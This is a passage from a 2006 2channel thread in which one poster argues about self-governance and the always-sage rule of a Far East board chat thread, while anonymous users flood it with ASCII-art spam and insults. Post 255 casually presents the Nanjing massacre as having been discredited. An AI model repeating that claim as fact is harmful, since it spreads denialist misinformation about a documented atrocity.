241 :船虫Jr ◆.Tg2yBtH66 :2006/04/10(月) 22:40:23 ID:lTtmIvXG
【主な出来事】
T、「擬古侍 ◆lIberAli6k」が極東板雑談スレが排他的になっていると問題提起
U、オレ(船虫)が、件のスレは公共性があると指摘。
V、バク(桜も基本的に同調)は、「これはただの雑談スレ」だと言い張る
  (しかし、公共性論に反論した上で言ってるのではない)。
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/338
W、オレ(船虫)が、排他的であることの解決策の一つとして「常時SAGEルールの撤廃」を求めた(>>36)。
X、バク「ひろゆきメールしないヤツはチキンで議論する資格がない」
  桜「削除要請逝け(スレが削除されるか意見を聞け)。話はそれからだ」
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
Y、公共性のある(公共の利益にかなってる)スレを削除要請するヤツはいない(常識ではいない)わけで、
  「当該スレは公共性がある」と主張するオレ(船虫)は、当然、削除要請しない。
  そして、「話はそれからだ」として議論を排除するのは、自治否定だと非難。

オレの推測:
  桜はこのスレになってようやく公共性(ニッチ論)の意味が理解してきたようだが、
  バク に関しては未だに理解してない。これはリアルにそうだと思う。事実、

Z、利用者(船虫)のカキコを理由に、この自治スレを削除要請している(>>203)。
  http://qb5.2ch.net/test/read.cgi/saku/1085400725/515

[、荒らし君再登場。(>>204-205>>228>>230-239
\、削除人が
  “ttp://tmp6.2ch.net/test/read.cgi/asia/1142521940/ >>515
  自治スレですから残し。自治スレ住民は荒らし耐性が強くないと。”とコメント。
  「自治スレですから残し」だって。
  http://qb5.2ch.net/test/read.cgi/saku/1085400725/519

242 :日出づる処の名無し:2006/04/10(月) 22:41:11 ID:06+cugwg
(( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
 (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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 (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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  (( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
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      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
 (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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(( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
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      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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243 :日出づる処の名無し:2006/04/10(月) 22:42:40 ID:06+cugwg
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


244 :日出づる処の名無し:2006/04/10(月) 22:43:25 ID:06+cugwg
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


245 :日出づる処の名無し:2006/04/10(月) 22:44:41 ID:06+cugwg
いやーいい暇潰しだなこりゃw余所見しながら出来るしまともな奴からは
誰からも文句言われないしよおw
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝



246 :日出づる処の名無し:2006/04/10(月) 22:47:12 ID:MLQHSi/8



















247 :日出づる処の名無し:2006/04/10(月) 23:56:19 ID:wHNX+Jsw
ケザワスレたてろよ

248 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 00:28:24 ID:vnh0nIKp
>>247
毛沢スレ削除されたんか?
あんなコテ名が入った非ニュース・非議論スレ削除されるのは当たり前じゃん。
もっと頭使ってスレ立てろよ。

249 :日出づる処の名無し:2006/04/11(火) 16:58:04 ID:c2DVkCaC
>>248虫ケラの分際で偉そうにすんじゃねーよ。
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝



250 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 19:41:22 ID:vnh0nIKp
まあ、あれだな。桜とかバクってのは、最初は議論で対応するが、
「極東板雑談スレ」をただの雑談スレ(公共性ない)と決め付けて自ら窮地に嵌ったりして、
結局、反論のすべがなくなる。
「検証に合意した」とか、そういうミスは素直に認めりゃいいものの
始めっから「おまえはぜんぜん分かってない(間違ってる)」などと強気な態度を
とってしまってるから、小さなことでも認めらなない状況になってしまう。
特に、オレのような、嫌韓厨にとってはアンチである相手ならなおさら。
結局、議論ではダメダメな状況に陥ってしまうから、別のことで対処しようとする。
「船虫はただ議論したいだけの荒らし」とか「船虫はホロン部」などと決め付けて、
議論自体を無効化するわけだ。
だが、こんなことが通用するなら、自治議論も含めあらゆる議論が無効化されることになる。
言っておくが、オレほどきちんとした議論するヤツはこの板にはいない。
きちんとした議論ということで何を言ってるか分からないだろうが、
それは罵倒表現がないとかそういうことではなく、
・(現物等の具体的根拠を明示して)批判可能にしている。
・いかに反論として成立しているか論理的に示す。
こういったこと。>>212-215とか、http://tmp6.2ch.net/test/read.cgi/asia/1144334699/12-15
などはその典型だろう。これに対して、オレのアンチは「(何の根拠もなく)そんなの屁理屈だ」と
1行レスをしたり、桜のように、現物による根拠付けをせずにズレたレスをして
何か反論してるかのように見せかけるだけ。
そもそも議論のなんたるかも分からないようだから、議論自体を無効化しても
何の“後ろめたさ”もないのだろう。自分が正しいと思う拠り所は、
論理的な正当性ではなく、印象や思い込みであったりするから、論理的に否定されても
ちっとも痛くないわけだ。しかし、論理的な矛盾はいくら誤魔化しても無くなりようがない。
>>212-215のように、ちゃんと(嘘であることを)立証してしまえば、
もう知らんぷりを決め込むしかないわけだ。
当人にとってはそれしかなくて、それでいいのだろうが、
こんなやり方では自治は成り立たない。

251 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 19:42:02 ID:vnh0nIKp
もっとも、当人達に議論を無効化してるという自覚があるかと言えば
必ずしもそうではないだろう。>>122>>142-143にあるように、桜は、

http://tmp6.2ch.net/test/read.cgi/asia/1139574674/407 名前: 同期の桜@極東 ◆DoukiJieKQ
桜:「邪魔になるのでsage進行」
船:「その通り。邪魔だから、SAGE進行自体は正しい。
  しかし、だからといって、公共性のあるスレを排他的するのは問題有り。
  スレ住人達がよっぽど気を遣ってカキコするか、
  常時SAGEルールをやめる(通常はSAGEでいい)のが妥当」
桜:「邪魔になるのでsage進行」
------------------------------------------------------------------
船:「じゃあ、オレが勝手に定期的に上げるが問題はないのか?」
桜:「別に問題ないが?」
船:「じゃー定期的に上げるからな」

これで終わりだろ。ループさせてるのはどっちだよ。
ーーーーーーーーーーーーーーーーーーーー

↑こんなもんで「ループさせてるのは(悪いのは)船虫」とやれるヤツで、
しかも、それを自信満々に何度も繰り返してるという驚異的な人間だ。
言うまでもないが、「それは分かってるが、それだけじゃダメだ」と否定されてる
ものを反レスとして何度も繰り返すのは典型的なループ。そして、
本人が不適切な解決法だとしてるものを、ソイツ自身がやる
(何でオレが雑談スレをせっせと上げなきゃなんないわけ?
しかも、これはスレルールに違反することじゃん)のは、
単にソイツがヘタっただけのこと。無茶苦茶で、かつ、不適切な解決だが、
誰か(オレ?)がルールに反して定期上げをすれば、常時SAGEルールが
廃止されたのと同じ効果があるだろう。その意味では解決ではあるかもしれんが、
「ループさせてたのは船虫」なんてことにはならない。
これを何度も繰り返してる(このスレだけでも、既に>>76 がある)ってのは、
こんな単純なこともリアルで分からないという証左だろ。

252 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 19:42:27 ID:vnh0nIKp
で、この件に関しては、この後、桜は、>>181と言い始めている。
>>142-143 でも>>92 でも「ループ」という言葉が問題にされてるのに、
>>181では、「(こうすれば終わりなのに、それをしないのは)ループをさせているとしか言いようがない」
などと“すり替え”を始めている。他人にルール違反のことを求めて、
「こうすれば終わりなのに、それをしないのは」とか「これが正しい解決だ」などと
言い出す無茶苦茶は置いておいても、「ループという言葉は不適切だった」くらい認めりゃいいわけだが、
一度口に出したら、どうしても引っ込めないらしい。
実際のところ、こういう意地っ張りこそが議論を長引かせている原因だろう。

桜はリアルに分かってないとこもあるが、このように自分の間違いに気付いたかのような反応もする。
その一方、バクってのは、>>146-161 ということをしても何か意味のあることをやってると
思ってるようで自分が荒らしをしてるなどとはこれっぽっちも思ってないのだろう。
どんなアホをしても、またそれをいくら明確に指摘してやっても、いつまでも自信満々に
同じことを繰り返せるという、何とも常識ではおよそ信じがたい人間だ。

「利用者やその利用法を理由にスレ削除するのは筋違い。
特に公共性のあるスレはスレ削除に当たらない」

このオレの指摘にしても、分かってないどころか、
より公共性が明白な自治スレ(実際、公共性があるものの例としてこのスレを出して議論していた)を
自信満々で削除要請してるところをみると、リアルかつ完璧に分かってないのだろ。

253 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 19:43:13 ID:vnh0nIKp
ところで、あくまで仮定の話だが、もしオレが本当に「極東板雑談スレ」を削除要請したら
どうなるのか?

オレ:「このスレは公共性があるから削除は不当」
桜・バク:「削除要請しろ、話はそれからだ」

ここで削除要請の結果、削除されなかったとする。

オレ:「ほらみろ、削除は不当だ」
で、桜・バクは?

桜・バク:「ほらみろ、削除は不当だ」

ってなもんだろ?見事に反応が一致したわけだが、これで何かが解決したか?
まさに、桜・バクの「削除要請しろ、話はそれからだ」が頓珍漢だってことが露呈しただけじゃん。
今回のように、削除人が「このスレは、極東板の(公的な)雑談スレだから」と言えば、
それはオレが公共性の論証でやった議論が実証されたようなもの。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/311-315
↑まあ、ごく当たり前の話だが、ともかく、「公共性あり」ってことになれば、
バクらが言う
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/338
>> ・当該のスレは、一般的な雑談スレではなく、極東板の名を冠した公的性格を持つスレである。
>唯単なる雑談スレですが・・・w
↑これは明白な間違いってことになる。なにしろ、
「管理人や運営側の意向には従う(>>67 )」らしいからな。

とはいえ、実際には、たとえ削除人が公共性判断をしたとしても、
それに対しては無視を決め込んで、「削除されなかったから、オレ達は正しい」
なんて言い出すのは目に見えている。
「排他的な使用はまずい」という抗議に「オレ達は正しい」は
「オレ達の使用法は正しい」を意味するわけだが、削除人が使用法を認めたのでは
まったくないということは、すっかり脳内から排除されるのであろう。

254 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 19:44:17 ID:vnh0nIKp
削除人のレスは、オレがニッチ論と呼ぶスレの地位を理解してるようなので、
その点は評価できる。スレが荒れたとか、レスが気に入らないからと言って
スレを削除するのは筋違い。スレを削除するとしても、重複等によってニッチが
確保されてからするもので、スレ自体は不当ではないということがハッキリ示されてからのこと。

また、削除人が言う「荒らし」とは、オレが言ってる「荒らし君」とは違うのだろうが、
たとえオレが彼らや「バクの無意味な連投」を理由に削除要請しても、同じこと。
荒れを理由に削除なんてことにするなら、議論に窮したら、名無しで荒らし回ればいいことになる。

ましてや、削除されなかったということを理由に、
「この荒らしは認められた」などと勘違いするのは、非常識もいいとこ。
なんか、早くも勘違いしてるかのようなヤツもいるが→>>245

255 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 19:44:40 ID:vnh0nIKp
ついでに言っておくが、オレのスタンスは
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/6
の通り。これくらも理解できないヤツがいるようだが、
結局、今ここで言ってる通りのこと。
2chのような掲示板は、自分の思い込みを言い合うだけのことで、
立場の違う人間と議論したって無駄と言うヤツがいる。
例えば、http://tmp6.2ch.net/test/read.cgi/asia/1142222854/583
きちんとした論証をしても長文など誰も読まないから、
ただ印象で勝ることが自分が優位に立つ方法であると。
確かにその一面もあり、2chにおける嫌韓の流れもそれでかなり説明できる。
つまり
「サヨがアホな親韓」→「まともな嫌韓」→嫌韓優位。
「まともな嫌韓」→「アホな嫌韓に劣化」→嫌嫌韓優位。
こんなループで動いている面は確かにある。
しかし、状況を動かすのは印象だけじゃない。
例えば南京大虐殺が否定的に見られるのようになったのは、
単にサヨの発言がアホっぽかったからではない。
彼らは学校の教師であったり、高学歴だったりで、外見上はまともなわけ。
それでも窮地に追い込まれているのは、単にアホに見えることではなく、
論理的に間違いが晒されたり、現物や出来事によって間違いがバレていったから。
つまり、論理や事実には状況を動かす力があるわけ。
それは“立場の違い(要するに相対主義)”に逃げ込んでも回避できるもんじゃない。
上に例示したレスだって、ちゃんと否定できる。
http://tmp6.2ch.net/test/read.cgi/asia/1142222854/606

256 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 19:45:02 ID:vnh0nIKp
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/6 で言ったように、
極東板がウヨサヨ、あるいは、嫌韓親韓の罵り合いが日常的に行われている場所であっても、
矛盾点を論理的に明示したり、現物をもって「ほら嘘だ」とかやれば、
一定の効果があるし、極東板で自治(議論)ができるとしたらそれしかない。
長文は誰も読まないってんなら、短く整理すりゃいい。この点ネット掲示板は、
根拠の筋をリンクで辿っていけるから、便利。
オレのスタンスは、このような現物ベースの具体論で、印象操作で状況を動かすのを
制御(支配)するというもの。
ここで肝心な点は、例えば「これは嘘だ」と論じたとして、それは発言者(オレ)が
作った嘘ではなく、現にそこにある嘘であり、オレは発見者であるということ。
だから、オレの立場がどうこうなんて関係ないわけ。
サヨが「おまえはウヨだ。軍国主義者だ」と罵っても、嘘が嘘でなくなるわけじゃない。
何かバクが「2つ前のスレットにおいて、 コテハン(船虫Jr ◆.Tg2yBtH66)が、
占有を宣言している」なとどすり替えているが、
http://qb5.2ch.net/test/read.cgi/saku/1085400725/515
オレは別に自治をオレの独断で支配しよってわけじゃない。
支配してるのは、現にある嘘であり、現物にある矛盾なわけ。
繰り返すが、オレがやってるのは、それを分かりやすく提示してるだけ。
独断をするというのではまったくなく、独断とか決め付けで物事を動かすことに対抗してるわけ。

257 :船虫Jr ◆.Tg2yBtH66 :2006/04/11(火) 19:45:26 ID:vnh0nIKp
ただ、問題は、
オレ:現物ベースの具体論が出来る。
桜とか:できない。
こんな感じだから、オレが関与するかしないかで流れが変わるのは確か。
しかし、こういう傾向が気に入らないって言ったって、
オレが現物ベースの具体論でやっている限り、それは現物に即した流れであって、
いわば正論なんだから、どーしょーもない。
むしろ問題は、相反する勢力が混在する極東板の自治で、自称自治厨の桜が、
「現物ベースの具体論ができない」
ってことだろう。
何度か言ってるように、通常の問題においては、桜の対応は適切だし、
人格者っぽいところを見せているのも評価できるが、
現物や論理を蔑ろにしてる(というかそういう議論ができない)というのは致命的。
今回の問題のように、自分たちのスレがアンチ(オレ)に非難された場合、
思わず強気に出てしまって対応を誤ることもあるだろう。
「公共性があるから」と言われているのに、
それをまるで理解しないで頓珍漢なことを言い出したりとか。
ここでオレに「反論になってない」と言われたら、
反射的に「反論になってる」と見栄を張りたくなるのは分かるが、
このことだけでも論理的な間違いを作り出してしまっている。

このへんが昔からある“自治問題”なわけだが、
さて、どうしたもんか。

258 :日出づる処の名無し:2006/04/11(火) 21:59:16 ID:c2DVkCaC
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
